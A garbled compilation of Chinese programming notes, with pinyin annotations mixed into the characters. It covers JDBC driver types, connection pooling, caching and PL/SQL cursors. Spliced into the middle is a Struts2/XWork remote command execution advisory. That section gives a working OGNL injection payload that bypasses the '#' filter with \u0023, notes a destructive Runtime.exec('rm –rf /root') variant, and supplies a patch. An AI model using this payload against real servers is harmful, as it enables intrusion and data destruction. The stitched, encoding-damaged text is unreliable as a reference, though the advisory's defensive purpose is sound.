JDBC驅(qū)動(dòng)程序是本機(jī)API的部分Java代碼的驅(qū)動(dòng)程序，用于把JDBC調(diào)用轉(zhuǎn)換成主流數(shù)據(jù)庫API的本機(jī)調(diào)用。這類驅(qū)動(dòng)程序也存在與第一類驅(qū)動(dòng)程序一樣的性能問題，即客戶端載入二進(jìn)制代碼的問題，而且它們被綁定了特定的平臺(tái)。
第二類驅(qū)動(dòng)程序要求編寫面向特定平臺(tái)的代碼，主流的數(shù)據(jù)庫廠商，例如Oracle和IBM，都為它們的企業(yè)數(shù)據(jù)庫平臺(tái)提供了第二類驅(qū)動(dòng)程序，使用這些驅(qū)動(dòng)程序的開發(fā)者必須及時(shí)跟進(jìn)不同數(shù)據(jù)庫廠商針對(duì)不同操作系統(tǒng)發(fā)行的各個(gè)驅(qū)動(dòng)程序版本。
另外，由于第二類驅(qū)動(dòng)程序沒有使用純Java的API，把Java應(yīng)用連接到數(shù)據(jù)源時(shí)，往往必須執(zhí)行一些額外的配置工作。很多時(shí)候，第二類驅(qū)動(dòng)程序不能在體系結(jié)構(gòu)上與大型主機(jī)的數(shù)據(jù)源兼容；即使做到了兼容，效果也是比較差。
第三類：面向數(shù)據(jù)庫中間件的純Java驅(qū)動(dòng)程序。
JDBC驅(qū)動(dòng)程序是面向數(shù)據(jù)庫中間件的純Java驅(qū)動(dòng)程序，JDBC調(diào)用被轉(zhuǎn)換成一種中間件廠商的協(xié)議，中間件再把這些調(diào)用轉(zhuǎn)換到數(shù)據(jù)庫API。第三類JDBC驅(qū)動(dòng)程序的優(yōu)點(diǎn)是它以服務(wù)器為基礎(chǔ)，也就是不再需要客戶端的本機(jī)代碼，這使第三類驅(qū)動(dòng)程序要比第一、二兩類快。另外，開發(fā)者還可以利用單一的驅(qū)動(dòng)程序連接到多種數(shù)據(jù)庫。
第四類：直接面向數(shù)據(jù)庫的純Java驅(qū)動(dòng)程序。
JDBC驅(qū)動(dòng)程序是直接面向數(shù)據(jù)庫的純Java驅(qū)動(dòng)程序，即所謂的“瘦”（thin）驅(qū)動(dòng)程序，它把JDBC調(diào)用轉(zhuǎn)換成某種直接可被DBMS使用的網(wǎng)絡(luò)協(xié)議，這樣，客戶機(jī)和應(yīng)用服務(wù)器可以直接調(diào)用DBMS服務(wù)器。對(duì)于第四類驅(qū)動(dòng)程序，不同DBMS的驅(qū)動(dòng)程序不同。因此，在一個(gè)異構(gòu)計(jì)算環(huán)境中，驅(qū)動(dòng)程序的數(shù)量可能會(huì)比較多。但是，由于第四類驅(qū)動(dòng)程序具有較高的性能，能夠直接訪問DBMS，所以這一問題就不那么突出了， 這種驅(qū)動(dòng)方式，主要用于高并發(fā)，低數(shù)據(jù)量請(qǐng)求的應(yīng)用中。
16 使用Jdbc鏈接池
為了提高訪問數(shù)據(jù)庫的性能，我們還可以使用JDBC 2.0的一些規(guī)范和特性，JDBC是占用資源的，在使用數(shù)據(jù)庫連接時(shí)可以使用連接池Connection Pooling，避免頻繁打開、關(guān)閉Connection。而我們知道，獲取Connection是比較消耗系統(tǒng)資源的。
Connection緩沖池：當(dāng)一個(gè)應(yīng)用程序關(guān)閉一個(gè)數(shù)據(jù)庫連接時(shí)，這個(gè)連接并不真正釋放而是被循環(huán)利用，建立連接是消耗較大的操作，循環(huán)利用連接可以顯著的提高性能，因?yàn)榭梢詼p少新連接的建立。
一個(gè)通過DataSource獲取緩沖池獲得連接，并連接到一個(gè)CustomerDB數(shù)據(jù)源的代碼演示如下：
Context ctx = new InitialContext();
DataSource dataSource = (DataSource) ctx.lookup("jdbc/CustomerDB");
Connection conn = dataSource.getConnection("password","username");
17 緩存DataSorce
一個(gè)DataSource對(duì)象代表一個(gè)實(shí)際的數(shù)據(jù)源。這個(gè)數(shù)據(jù)源可以是從關(guān)系數(shù)據(jù)庫到表格形式的文件，完全依賴于它是怎樣實(shí)現(xiàn)的，一個(gè)數(shù)據(jù)源對(duì)象注冊(cè)到JNDI名字服務(wù)后，應(yīng)用程序就可以從JNDI服務(wù)器上取得該對(duì)象，并使用之和數(shù)據(jù)源建立連接。
通過上面的例子，我們知道DataSource是從連接池獲得連接的一種方式，通過JNDI方式獲得，是占用資源的。
為了避免再次的JNDI調(diào)用，可以系統(tǒng)中緩存要使用的DataSource。
18 即時(shí)關(guān)閉使用過的資源
互聯(lián)網(wǎng)應(yīng)用系統(tǒng)一般是并發(fā)的系統(tǒng)，在每次申請(qǐng)和使用完資源后，應(yīng)該釋放供別人使用，使用完成后應(yīng)該保證徹底的釋放。
19 架構(gòu)選型
CoreMediaCMS將整個(gè)應(yīng)用分成四成架構(gòu)，每一層都可以獨(dú)立于其他層而正常運(yùn)行，每一層都可以分布式布署，極大的提高了應(yīng)用系統(tǒng)的穩(wěn)定性、可擴(kuò)展性、支持高并發(fā)的要求，每一次之前通過中間件Corba進(jìn)行穩(wěn)定的傳輸數(shù)據(jù)。
20 開發(fā)框架的選型
充分利用開源框架，可以大大提高開發(fā)效率。很多初級(jí)開發(fā)者，都采用DB+JavaBean+JSP這種初級(jí)的開發(fā)模式，而現(xiàn)在主要使用Struts、Spring等MVC開發(fā)框架。
常用開發(fā)框架構(gòu)選型有：
Struts、Spring、Webwork等。
天極傳媒選擇的開發(fā)框架是：Struts+Spring+iBatis，在這個(gè)開發(fā)框架里，充分利用了Struts、Spring各自己的優(yōu)點(diǎn)，可以選擇Stuts MVC，也可以選擇Spring MVC。
21 分級(jí)存儲(chǔ)
１）數(shù)據(jù)庫數(shù)據(jù)分級(jí)存儲(chǔ)：
將經(jīng)常訪問的數(shù)據(jù)和訪問頻度低的數(shù)據(jù)，分別存放到不同的分區(qū)，甚至存放到不同的數(shù)據(jù)庫服務(wù)器，以便合進(jìn)分配硬盤I/O及系統(tǒng)I/O。
２）網(wǎng)站內(nèi)容發(fā)布之后，分級(jí)存儲(chǔ)：
任何一個(gè)大型的網(wǎng)站，一般都有海量的內(nèi)容，為了提高訪問效率，應(yīng)搭建分級(jí)存儲(chǔ)體系，根據(jù)應(yīng)用的重要性和訪問并發(fā)要求，將這些內(nèi)容分級(jí)存儲(chǔ)，同時(shí)將靜態(tài)內(nèi)容中的靜態(tài)頁面文件、圖片文件、下載文件分不同的Web服務(wù)器訪問，降低I/O爭(zhēng)用，提高訪問效率，同時(shí)讓數(shù)據(jù)存儲(chǔ)、管理、備份更加清晰。
22 頁面靜態(tài)化
一個(gè)大型網(wǎng)站，既有靜態(tài)內(nèi)容，也有動(dòng)態(tài)內(nèi)容。靜態(tài)內(nèi)容，直接通過Apache或者Squid訪問，效率高，穩(wěn)定可靠，更多的是受服務(wù)器等硬件設(shè)備的I/O吞吐量、網(wǎng)絡(luò)環(huán)境及頁面代碼本身質(zhì)量限制，不受應(yīng)用系統(tǒng)及數(shù)據(jù)庫性能限制，這些內(nèi)容往往訪問速度和效率不會(huì)有較大的問題。
而動(dòng)態(tài)內(nèi)容，除了受硬件設(shè)備I/O、操作系統(tǒng)I/O及內(nèi)容、網(wǎng)絡(luò)環(huán)境及頁面代碼的影響，還要受應(yīng)用服務(wù)器和數(shù)據(jù)庫性能影響，因此，這部份內(nèi)容，要盡可能作靜態(tài)化或者偽靜態(tài)，并采用緩存技術(shù)，將其緩存，以減少對(duì)應(yīng)用服務(wù)器和數(shù)據(jù)庫服務(wù)器的操作次數(shù)，提高用戶訪問效率和穩(wěn)定性。
23 緩存策略
對(duì)于構(gòu)建的業(yè)務(wù)系統(tǒng)，如果有些數(shù)據(jù)要經(jīng)常要從數(shù)據(jù)庫中讀取，同時(shí)，這些數(shù)據(jù)又不經(jīng)常變化，這些數(shù)據(jù)就可以在系統(tǒng)中緩存起來，使用時(shí)直接讀取緩存，而不用頻繁的訪問數(shù)據(jù)庫讀取數(shù)據(jù)。
緩存工作可以在系統(tǒng)初始化時(shí)一次性讀取數(shù)據(jù)，特別是一些只讀的數(shù)據(jù)，當(dāng)數(shù)據(jù)更新時(shí)更新數(shù)據(jù)庫內(nèi)容，同時(shí)更新緩存的數(shù)據(jù)值。
例如：在CMS2005系統(tǒng)中，我們將很少發(fā)生變化的網(wǎng)站節(jié)點(diǎn)樹數(shù)據(jù)，緩存在客戶端，當(dāng)用戶登錄時(shí)，一次性讀入到客戶端緩存起來，以后編輯在使用時(shí)，不用再從數(shù)據(jù)庫中讀取，大大提高了應(yīng)用系統(tǒng)的訪問速度。
當(dāng)然，也可以將數(shù)據(jù)庫中重復(fù)訪問的數(shù)據(jù)緩存在應(yīng)用服務(wù)器內(nèi)存中，減少對(duì)數(shù)據(jù)庫的訪問次數(shù)，Java常用的緩存技術(shù)產(chǎn)品有：MemoryCache、OSCache等。
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<script type=text/javascript src=http://fw.qq.com/ipaddress></script>
<script type=text/javascript>
document.write("當(dāng)前ip:"+IPData[0]+",省份："+IPData[2]+",城市:"+IPData[3]);
</script>
</head>
<body>
</body>
</html>
漏洞名稱：Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相關(guān)介紹：
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/
Struts2的核心是使用的webwork框架，處理 action時(shí)通過調(diào)用底層的getter/setter方法來處理http的參數(shù)，它將每個(gè)http參數(shù)聲明為一個(gè)ONGL（這里是ONGL的介紹）語句。當(dāng)我們提交一個(gè)http參數(shù)：
Java代碼
?user.address.city=Bishkek&user['favoriteDrink']=kumys
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL將它轉(zhuǎn)換為：
Java代碼
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這是通過ParametersInterceptor（參數(shù)過濾器）來執(zhí)行的，使用用戶提供的HTTP參數(shù)調(diào)用 ValueStack.setValue()。
為了防范篡改服務(wù)器端對(duì)象，XWork的ParametersInterceptor不允許參數(shù)名中出現(xiàn)“#”字符，但如果使用了Java的 unicode字符串表示\u0023，攻擊者就可以繞過保護(hù)，修改保護(hù)Java方式執(zhí)行的值：
此處代碼有破壞性，請(qǐng)?jiān)跍y(cè)試環(huán)境執(zhí)行，嚴(yán)禁用此種方法進(jìn)行惡意攻擊
Java代碼
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
轉(zhuǎn)義后是這樣：
Java代碼
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL處理時(shí)最終的結(jié)果就是Java代碼
java.lang.Runtime.getRuntime().exit(1);
java.lang.Runtime.getRuntime().exit(1);
類似的可以執(zhí)行Java代碼
java.lang.Runtime.getRuntime().exec("rm –rf /root")
java.lang.Runtime.getRuntime().exec("rm –rf /root")，只要有權(quán)限就可以刪除任何一個(gè)目錄。
目前的解決方法如下，官方的出了補(bǔ)丁的，可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前２．１．８的最新版本的，可以下載其中這個(gè)補(bǔ)丁修補(bǔ)，
而如果你的版本是低于２．１．８的，可以去下載xwork-2.XX.JAR對(duì)應(yīng)的源代碼（本來想反編譯ＪＡＲ的，發(fā)現(xiàn)還是找源代碼好），
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中調(diào)整如下：
protected boolean acceptableName(String name) {
boolean foundMatch=false;
foundMatch = name.contains("\\u0023");
if(foundMatch){
return false;
}
if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
|| name.indexOf(':') != -1 || isExcluded(name)) {
return false;
} else {
return true;
}
}
--SQL游標(biāo)--游標(biāo)：是指向上下文區(qū)的指針
/*
1 隱含游標(biāo) 隱含游標(biāo)又稱SQL游標(biāo)，專門用于處理SELECT INTO，INSERT，UPDATE及DELETE語句，當(dāng)在PL/SQL中執(zhí)行 INSERT，UPDATE及DELETE時(shí)，為取得DML語句作用的結(jié)果，必須要使用SQL游標(biāo)屬性，SQL游標(biāo)包括sql%found, sql%notfound,sql%rowcount,sql%isopen四個(gè)屬性。 （1）sql%isopen 用日元確定SQL游標(biāo)是否已經(jīng)打開，當(dāng)執(zhí)行SELECT INTO，INSERT，UPDATE及DELETE語句時(shí)會(huì)隱 含打開游標(biāo)，并且在執(zhí)行完成后隱含關(guān)閉游標(biāo)。所以對(duì)于開發(fā)人員該屬性永遠(yuǎn)為false,不需要使用該屬性。 （2）sql%found/sql%notfound 用于確定SQL語句執(zhí)行是否成功。
SQL語句執(zhí)行是否成功根據(jù)是否有作用來判斷，當(dāng)SQL語句有作用時(shí)，sql%found屬性值為TRUE(sql%notfound屬性值為FALSE)；否則反之。*/ declare v_name user_info.name%type := 'junly'; begin update user_info set money = money*1.1 where name=v_name; if sql%found then dbms_output.put_line('語句執(zhí)行成功'); else dbms_output.put_line('用戶名不存在'); end if; end;-- （3）sql%rowcount 返回SQL語句作用的總計(jì)行數(shù) declare v_name user_info.name%type := 'junly'; begin update user_info set money = money*1.1 where name=v_name; dbms_output.put_line('修改了'||sql%rowcount||'行'); end;/*2 顯式游標(biāo) 用于處理SELECT語句*/
--控制語句--ifif condition then statements;elsif condition then statements;else statements;end if;--casecase v_nowhen 10 then statements;when 20 then statements;when 30 then statements;else statements;end case;--------------case when v_no>30 then statements;when v_no>20 then statements;when v_no>10 then statements;end case;--looploop statements; 
exit when condition;end loop;--whilewhile condition loop statements; end loop;--forfor i in [reverse]v_start..v_end loop statements;end loop;--i是循環(huán)控制變量，不需要顯式定義，v_start,v_end分別為下界值和上界值。如果指定reverse則循環(huán)變量自動(dòng)減一。begin for i in reverse 1..10 loop dbms_output.put_line(i); end loop;end;--10,9,8,7,6,5,4,3,2,1--嵌套循環(huán)declare result int;begin <<outer>> for i in 1..10 loop <<inner>> for j in 1..10 loop result:=i*j; exit outer when i=9; dbms_output.put_line(i||j); end loop inner; end loop outer;end;